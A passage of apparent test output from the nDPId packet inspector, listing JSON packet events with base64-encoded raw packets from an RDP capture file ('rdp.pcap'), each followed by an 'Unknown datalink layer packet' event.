yaozsfkiJY0aA"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1219,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1220,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":371243,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9F65HnlBoUBAf9JoiAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1220,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1221,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":371382,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1h+UAAfwYnosCoAo6sEAK5DT3NDkeeVtz5vRXGUBj3VPW3AAAXAwMAMAAAAAAAAAGKX0S8Us5AudIkPwARSfstu2eOl94dvja5ZSHw+BFOoBoeuEuX4gZUhQ=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1221,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1222,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":371403,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9F65HnlbcUBAf9JOuAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1222,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1223,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":371751,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1h+kAAfwYnocCoAo6sEAK5DT3NDkeeVxH5vRXGUBj3VPIcAAAXAwMAMAAAAAAAAAGLToF84SmxfqYp0uIzrGDK5PCEfDoaXX6WTXVZfCUjMCOIDiX0BWz1lg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1223,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1224,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":371773,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9F65HnlcRUBAf\/pNvAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1224,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1225,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":372015,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9F65HnlcRUBggAJPzAAAXAwMAOOAIO32NJwwMJm\/FzgKiz5\/irRvd7\/uoHLXbDS7KU3E5Dcm8A0ac5KX3A3Gn4YIMrWl\/NRCz6YrV"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1225,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02070{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1226,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":372178,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFh+0AAfwYi3MCoAo6sEAK5DT3NDkeeV0b5vRXGUBD3VMojAAAXAwMGbwAAAAAAAAGMEOXhCMLRkM929xoI7D3FB0MuSc5t+CnzZpFEFIXoVt+vJx9FDDKEx89o3whE\/hR7L9pMhD3emkJH7uuCoiAjNTZcvXphil9UkvG1iWsQpRSL9EGjpW0\/ZDeOPmEvmY70n6JmA+kEyKcpMmr55jzgm9FyOmGHdEgXaYSZmLPMIEF6gafwSTSjMXwLQb4d9R7Dui1O7p5lXy\/QFRLUzA6MK8nm85+OVqlRoMaxdPhA4Zt0IQGYhXOPc+4jMZDWEQwyK7ovUJw1G0nWO7ZrN7Ldg5+0L5+Nbd5eefTyw\/6jBGjVetv0OhKLRqJOPTNHGVKJUkSNnVQwgRlZUUn0pclV1vGDxSvyjhgUJwNKRkpOGmdkufCG0XECpQno3heaAnorg5co7Dqhy0yGW2eo+o6VGsSN4Y4FRn0jYvPuZfwHlkIvyE7GfAWzvmYYqxlXjR+BTe33lvJJabg1rpJ1ckY3XrGszwO3WPDCuhZdJmXUkE7g8\/B54yfhVwCpwx6Ph94NhCTYpQW9ozLjN+To4MDe2EdGZo070TrVdD8YE1Tp7VyREIVPX5pAwDrc8ME+a5CsL+BVBXOeE8c5pmdZfwxmdTGXoKwDO8Cv4gCjXRLFqbsUkxLGme9tRLCVcAZ7G4NY0s5Zcqqnhi0DLHd2rlqYh5fEGWOmFozbO+eAsBSHph98\/x7V7MKIy6bz+v1jdYXU53Q9+QI4RCSdJQzy3vPFH\/3lZW+dgJYy7AoCCH6+lXVc630jF42H2Mn7r3rLKC65Xiyu9He\/Gu64SIV70hCznW4pqZVeo8GVso3Rwqg1QYBiQUGRFm8Js4wXWROzWsX2SeUdtshMQu7fQpEfpzViZo9m+6EOM\/hBLjY2Z8K3YtMgYdvgrwZ8kb2wfi6QYAm6TWoJcThTL0S36VIpyfdml5jBFV\/VOSMYxG4Oiptkwp3zABT0WBEUfUqet\/X8\/1BtRNMKsdLuO0Vpk9u2wfxND2bB8VEuQH5VYWaos\/QBrVNguyHTFzSLKw3e+5SIuzUPSVd3K2d+GI+fjN2wf36StBro79TNN7jTcd81i2+a5odFz8webRd5d+BoRF4VXQ3xVIC7gtRZEM+hjrgKe4TRB8iYTbvtEEqqfVHRCKxVIeg1g4Cw3W9CV4XYsX49zSVKMgm12Ysq0im9Iudvlt+PVFbh8vTn2agy7a+eFN7XaDo516BDd802TYwci88smVCv4KFisCJ\/apE5Hmr5XOZYYjdZrQgNbNlXUz08VEwJ8HK0m4VDOjBNMTnOIe7rZnG9RgrNoiY+xZ6LOzBznUB2+bv3L4x8LQ5N1YgRYywHwGeq6rV6yXSw1VjOFj+TXva8DBuLhk46hbdP40h4qAUbxeTvwo0ITBCXkqG50HI1rPA4Bay0KyTKKVdEcN5JBAwFwuxTpMeP\/idqfCkuIblgKSwrFlIag8QnWKTTqfuagTQLFZepAblqyCuxVZxpYUzsB7JAsPtZetGJCe5IAHPS8kRhFwHMCNx2hpraPWG3GsC+gybPIAJRSUjAqybTyfUS46k4inhhbRc6mn9uIMOS\/rtgwz+Xh8QlsqXs6dFg3zDTZ3orFnl4NI7rSOHhi6gZNEitOHwR5GxRV\/q3NPmgJLSV+S96ZQXtsEfJktdJSzBuQCOtOu81MNzJx\/NX5IGI5snDQovx\/kwnxupZ"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1226,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1227,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":372388,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNh\/EAAfwYmWcCoAo6sEAK5DT3NDkeeXD\/5vRXGUBj3VFQoAAD2cFn7ZSjxnK7bHFiYLuftMIXqvlJihEj60tgAwxYcvq6hp3DTQglXvMfDyOsaelIUoNHltw4++7X09obw8t8nxU2zHEX0+z2wnQ7HSUDWr4k2dwZ2hTJIEgAVcJtMHlR8cLywbCRsAHOitTv4IDf6yP+fHGMYOgnUw45xlRPhu4YhgT0xgK+7uruCiPhI+juHpz\/Z24Yr\/2pChm2BC7x3Y1u5KnhC4BiFsKVZWnDusFz1pQQydykLsfsUF1r5ZT4Uz7f75p5m0r29SUQ+n1wiitquWQFWQi7OGsXTu2axnKOmxAyypaCPRR95WojSigtgaIYPxKU0zszrxsNVzpgqhFvLNSZAQ1A709Hw4p37g09ovasNAvPznaUFUS9Ep5zOvAforJzz8DR391htWxZz8VdcR8D4G5VqPoXzLnzjYVpqSDk6XzcSE9yeHOYxm7zm1YTCQio2LHGay5yfOcsGlioU57jeFQ7\/4epeUpDOLrxTdSLN+wX5Jfjh"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1227,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1228,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":372649,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9F+tHnldGUBAf\/pL9AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1228,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1229,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":372866,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1h\/UAAfwYnnsCoAo6sEAK5DT3NDkeeXbr5vRXGUBj3VExMAAAXAwMAMAAAAAAAAAGNJk2DuCbMJukjvWFkNqRhImuYLg1bd24gRv+qJ9zcPBlleadJsxSHvg=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1229,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1230,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":373122,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9F+tHnl26UBAf9IyTAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1230,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1231,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":373254,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9F+tHnl3vUBAf\/oxUAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1231,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1232,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":373465,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFh\/kAAfwYi2cCoAo6sEAK5DT3NDkeeXe\/5vRXGUBD3VDywAAAXAwMGbwAAAAAAAAGOqUdQ+veqhlT6YmEiyRG1BqjUKL7rlq\/SQGs4fgGmpoT4Fb0Pmjr6q6xVHlMba8dxm6\/ivcvgh7O\/Nm6MTy3B\/U+OxLE2vwR1TL26om1CN\/jmD2CwGf8JvZt2IRVkK+oaRt7sqDvIzsd9EzNzOTLf6Q2vg\/+JjxgPYWnuwVm+21eV86IeId8bEggI3fg87Hynm41X2URSYzy8nzQlBIPejrrF07qNjRmhiG85QIsheSYagPSfWle+NHs0uXXj9vBOkrG+ipYY2gq3+mdI6BRFPDHYO3LU9mZMPwqfeHDfktXfQY+kkVEwejwqy4BngIl4Hjdi7hkzC30fR5PsttAtQIct7nhm11VEfZIvLDJ3pS7+heqI0ai7Gx+5ZREY6UHsMlKCGY2FUwmT5J54BViHwQ5wSHkKTRXmmfrRRruaWpjU9C5wzWtYQSMUzlUblGY3wFpTT9NSyvej4njV6oCqYjvv1w44+MjFGj7P8ngnXFjRRawCsRlN8IY2GvT2IOEvx5Tg96AbSAsQKhUpmUqGCqwr5ZTXMtX7mHbiV4Gqf42cl9am3BOPu6DXsHq16f1rESH2+EIXegx3CEiOSikFeyNvo9uQ0eGELSq29\/g\/kBH4OiE79U3cPReMVkC7hhHqeNG1XGkMkty3Dc4iYo0zDKmsfWJXlgrLlI0jR92+TYWyjYQvls\/J40CiHZ+SK8cZm902asNfAwHv8gsOaRKJcklrWiZYvlWK3QPfilR2i0pSKVlBAAkj3rI8eaGadS+cKRqRHysrAGiiSVcxld3gcVkZo5A1DVQh71NVkQvN3kwWGnSjFen1FIzXzJqM7YPpXkxnoZBp+nVrOpLuRq46aSSrSjHPtP3HrJFkV4VlPNx1xJab\/PETwNkjcIpQr\/\/Q\/TjeAHM2VkA5N9J6huVba9CccGKIIu82NsVfk6CuTQdvc6t\/XRFrrgkDhNlrr46\/zROsbQqXspa0GFKwwV6idA6\/W512Wrh2zv1fvd8iSy2lDfCKQQThdcwuvWlH2DPXcHop6L1wreR1U6NAASwg7IXbto2kuYu26dpmwnTdZ3stn42aV0455p+sPe\/Eb1kIXFlirX3o9GTSNo2aqQf8KkCduoy6hcirCZoWM1+AB9KjjMDl6cxJyJI5SxbdgdspMGnTcBv\/wRRL\/ey+5Mqr2P6ehM5R3BFs\/0B4nC57\/RoEbQv1NYWl7JzZNP7H6QkeNZMr5tQQK\/dMddNsqiBqZnHynddlF9DFocaIRCSX8SNPiXwNgP1frCLTVl4XCmcelhH0wIAO+mLkpwJB+6LhxRpTQB\/RzN3fuVfESYQgcx+3wqPlda41FrvUS\/qvQIWSIMHbqwy7m192HihBjcHhUNntTVIuwtEU41\/qMh0XcKJjv4WOW6EqiWOKfTJvEFm7Ezff2HHD18SWmYdT6E6+bhfWcRzu4h6vZuyf+bs+DuTNvwTTY1zgmP1BmoZJUUvhkrKcIxTYSPZyl1dDbV6QbSr6yGbT5BsxLhGhzN1wPRNNiGrsC+Mc5yKbzLjtnLQM0bTr1+CDG+sfgN+npbb4Q7wCn+PhTu4vJtrDE02SA+KwTYHNZjbgHNchXNx8eSyc52WQIbvOU1g50zrbkcirlBXJ1tDPQWiRyJJ5T2QOM\/UQVlcwvaGa64ZDNe9aw4KCEm4tl4WjD\/qiy8bj"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1232,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1233,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":373636,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNh\/0AAfwYmVsCoAo6sEAK5DT3NDkeeYuj5vRXGUBj3VCohAABBa6bKFOWEgovOzUPK8hd0cVfW2+95SFAqFq89lonBibFxHhxYSsXu+B\/KLj8MMBZCNjMSAusp3RJKmk+qdtQr7F\/r4\/KWClhD\/D7azdAgoKYLEa1j\/s9xR+k5jr8LuLyHapXbBIk+o7Uej+Oae+cXcAOqLXpxQiabNe3\/sIaGnPtdE7RwhByhs47UhTKuU5hIdVbEPZKqelZpvvKiQOOycrQ2pW8oWKi+AJvM0Z2m49coOudPiWTKQQPDz\/2HFyybrLDpuRuvcWjXwSKp18K\/WQKfDnfJCDyaQEvyFERG5HPRwWKzUZX0OX1v0DYhNPFmG3+WpWxhxH33QlldYNYlREWkxv3ZECXyMdSlUP3blvAtRszZMDu+RS0KPVtR9yy90NeRtdWRPiLAprKvCaQsnCWHDCvbvGdIVxXvqlXeYOHOLOrdBylgiSTPAp+Pi0rV2aZtHuZ5wzhgXnSsmQwvuewtSlOn2lsEX+LIJ0QqkRk7kkRKA+fUyxQi"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1233,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00427{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1234,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":373828,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9F+tHnl3vUBggAOMOAAAXAwMAMOAIO32NJwwN9p4VhYyMOHdmp2SM\/dXJpAgBC6\/noIYsIU6eItjDL\/uvqKe\/DYI8Ng=="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1234,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1235,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":375528,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GCBHnmRjUBAf9IW1AAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1235,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1236,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":375823,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiAEAAfwYi18CoAo6sEAK5DT3NDkeeZGP5vRXGUBD3VBDqAAAXAwMGbwAAAAAAAAGPGidBtzJU92QEeK22CIAcDx7qYJfdIsKByIcGOO7nKlyBcgDIAfj9NVMLepMlnNbUbTCR535VDMG\/bdI7sQnUUYdqcUH2QnNC+AAvpRQlfyWwxgQslvGvLRnETHtfvIwmySrsEmhHD5Qb5VoUuSn5Vp2HS0OTo21Ag279VOTDmxaZkLNRyaQCOs95cqASXjPm9piuNbLFd3WxqrmiD4+PHbOVMF3v1hR3+w34Zdb7v92m5T7EimOv\/6LSxR4CrsqvM3WYfKIW+RiDwhQf81lyaZxJBV4JIXxucN58fzTLvuWhP3O4ZziWCJitsKkZ2pTZaRW69ZHWM4KJxcxLfxo5WnjDkenpXEtT54BWFB6JY7T4XWJLdmkIUDvxFSRAZs9qoZQZQUcLDtTaM5ZoS7x+PiIBg5tCwz4TRLGID1HPtKmkq7A935JnoZgfZk+fUZ2G\/usQpKH8nt1mkNVSU3dW0nkVUMfYW0qER+B1dG5mRcSLGherQdmeQQLuC3OWTI1Z3ACjDCPq53ncfQvzmZQZ\/4\/llNOfkSJE\/v24aFZjmNHpkOySt9BGj\/EqwJn4OmbdHF3kUOjGgbROZ+o0u4nz\/0qpwS19l969ybtW+eDGrw1NgW6TddPtTD7nLofsgCCvor1bxKE5G\/UMG1hvNSLayE3vDiB5FR7k6NxbLVVHx31MAsloJ0dxpwbQ\/N2xrQYQtMeDYywVZPbwCd418EekOQ\/XnHpcvvTZppQsW3cNbt0mY+IZpJ4nF9c+jl3UhbzS\/YWd+I2wHftJ1lKECBg1woPpLfwgv9lPfmcfFnqd+eYNzTUKRScermKebE3UblLl5E5e6Y\/9uKuMBgujN9ELoYedNNK8YtyiOPokOVLBakakABCP5iwTge66dgmHK6P0SozgodoRFg19y4dXnx13k+LMFrEN02RBYz2pPhZ+ZoXOXK4HpZO+9VD7bQeQ\/Q9muhlU9jx3kMIVygCVB\/nY13BxiKlI1vqorz6y3p\/6wPXSPUKt3hbdtzzLSE\/iG7d6BkEhnUkRE9GUWdRwR\/QKEbVdCXXc7vFl5e0BN4FWMAWj5x15XY9FCW1+ZONmEI0sPdWCL8ufNcWLjcwaZzpPtgbgphAIp\/aeTIumxtOkwPgJbZiT+MzbqmlVeUfqhsP9PqwaHb+DIxxU5L5Ulax3ni7wzPjG1QDlMi2CuqlkkfQvoguJ54SVNU4bzR1zB8Y9qkY5X9Y4BRbeZi1lh3HS2sBw4Y3BWIU\/FsFly3wbXpsRpyRMCevvBOG7y5EE1Y6bNfK2400QjluEW9yLWcgVffb+pJQH6Y\/4Fau9wx\/5n5YkrIrnQJhCziYuzTWL3gpSaqUtJ4zqZf2WXv36yhM8EPheKm8JkUED61QCuZLiSQM+eU8dzZMMT0H3D3DuSfc0B1BSA9V5RsV5mcgNi2u5lM5bPEdS1Q+tg4wVF4oYjFsN+n+3rGstcNjdmAfl9KHuOgHiwJJ\/rp9CfW4I0QuyvaMFB8l0T9O2FzPCaiwuFaYeXmLNreOBQjFyHLYl0MKJHjKQ8GancQaWhD9XWmgo0gjg7lnQsmha\/6o04jNVzvjAVMJlqFEPZXW3maX\/ZMQRPaiYE8zk0N1FgkyntWedKwvFSG19ZZ1nDrgnPcy34o8newWnVR+njtROycoVK2bESIxhhb3wCAyTypBe"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1236,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1237,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":376113,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNiAUAAfwYmVMCoAo6sEAK5DT3NDkeeaVz5vRXGUBj3VBRlAACzdIgHKNn9nqmVfEmyuijFm67jK0St8R3KsOWWz5jTRj9LsULhSVYV5NusOR4t8kM9c3Mg81K2jYF5CoVqWSQOB43Gi01uOWj7ZIZ1WiE1j9\/pwnniQPWYFKCLxxUg3N080tbLgLa\/ORPOBXjhXRS5RkL3Lq4m2o7AHjQQ\/jEdIxWgoko5xBAiBCWhq\/B+E\/MdXMOxBVGeQmCQIhn3XCYN0I3J3coHh96\/AaHSoujkChUeDgxrWRQMhbhIwgPVVDUSlcTfo3suXC2jIS2RshFYbgHSAwQ+H3sYrtXrueBgw0sffIr4oY4kQj848wtwB3Tw8kbla9fx+M3MNQrPNyn+On7JeP0kz8\/fj3QFz1qsrpyLAHD4qvU3WUCHt8iwvctTnvZXn3GSo3OHPOA4G6TlvG60NHVtAX0b2ofKSLhQuNrC0Q2goIz03X02rS5L+sYMyM7p+emA9rpiDeS2eHnPQBvwKJQ7rTpbYCa0PppbgGWMv+M7PLG2gE0V"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1237,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1238,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":376437,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9GCBHnmrXUBAf9H9BAAA="} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1238,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1239,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":376551,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFiAkAAfwYi1cCoAo6sEAK5DT3NDkeeatf5vRXGUBD3VLzdAAAXAwMGbwAAAAAAAAGQrGPH63oBo+OW5hJcLj2meXncmfMlF4BVeiCKVkOkkaOrOAbWo7ypFtsEL4zd2wcnl2jxy5uxp9uekbgDOJcZYDAECncFSC2lp6xttu+fE780x646VLGVz2pROXXDSMgnwih57LkiTMyrdIDN\/wH4zV3x65mBfjgbw1w5U5eqkM7JFTPMJs3D8zo5hr9VVks466ZpiGhFGWUy4OEHngIPU+xbgk2GmN0ZyCl0fzw8h6nfuSS\/v9hDXr0tDB+a\/7Hzwn1ESRVVoB2OjSObBmJANc1cb\/s\/2zoce1pYkqmlhY2L6jJT3hqHZkNs3vbGonjw0wlEuFk5XBAXl+gtEJwYe1UJStDFTyUj4seYuP9zqQZJPUZ5yKM4wR0aQgXE4ZGs1HGO1QRdjln1UyZSw+ZuMEYo6MnUceCCZQtTjI3oIzEPkpiZII20UTwA6vTnnlMx8aSOmJCDwqa2H7tL1EY\/6ocT0OZ77txu\/5JQ58l2TLRh5igYkZA5gsqiHrzeLsXvWn\/QWNwaa8GM9N05VlkOrcJc36yJslji7rB\/GuuJ5ZuRFNf3DThZ5do4aiwmPhmd7mQPtqGlRBtdVqtK4Buk3Fp\/cIPZZ5obI2d1XjidX63WcBMDVukqfxeqUBe+YimrMVX2Q384a6NkLOyFqm1pIzUnpG9kFrRBO9it\/nhNLg9mp7mYuLrWDit8+5gfdb16W8\/pDfO9W4OKqwxe2dY0z2Z5lWWNFal3NEltJSPA4S8ITXhKugZUjIax+kOJkIq\/qYpoT\/x0kf7KGEo8+LYkzrNHtxonIwuhqs8ZrCr6j7KPSLevSmROb4+7E0akbZiXHzU0xpTffB5r5HXKd3MBp601aWdcY2mXoJH5l8I0eHAxmUo89PzruuBWmDjDlCUyURQKOTsny\/spEGYQwOx7zwcw8qHYZk71bV5RTQFGJDLr0KAooWfNZAYaa2Ks57J4ToD3W3GEQ9p31rozJwX17wMyTjQ2VGfedilLE4ejWhUesftAIM9VKCMmv0OtKg5aC2hWGNHZ6Wk7tkzFpRirq1rbWuJ8blHTgGOGQeFGE7yrU4AxauG2QGKjaq4NRxV+BXkkEJXQgxjZXxALxlbDnh+\/ampEE+oUi2wuYky6+D2f24gL0QdfIfl1EIKvOcoXOU89Y9b8niYwKWb5IMwSVu2ZukQ9qBjZaQvM5Mq1zsANs3\/wImZfOEDqk8gX7wq3ilal7zRVo0\/ix6i16qK45+KPzXxHlzRzA3hqQVbJOQqXUx4wE+Yc+W2xBVWcEsTD7imioXuzLNfbeelF4sS6V438tx0H0opu007FAELlbBv\/\/PTOjtCeOtFaBtXVUtUL+NR+637inQrKG7gKAVAzWkc7SbB7BMg4fChPzUZVadfzWiyEYj9xE9mz5ALhBh5dfBPf7i0+0RjSTDQe7UrXTNB00kIrMyrz8PSlNiBkEOd8vUoqrfsfacGunBstE8KSmTwZ2b8lukJKFNHhBDylpC5hkV2ZAlQbZ8wOfwwKAAibrFWqEf2dxcp9Vj8pZzlX\/KxpzF0Hhn2j0Z7BdVtvzGmqqUENRpxvEFQKvzcM1sa6dw00vC3\/Y6p4nwfDDOfSDJqIo\/PwYU3GtFSGKv3LcDM+fbtNKQhMwe9GlaqmOc+UhrcnQhf1sS9wzrQWmm4kdPBcQsXgCwxZFPT8"} +00175{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 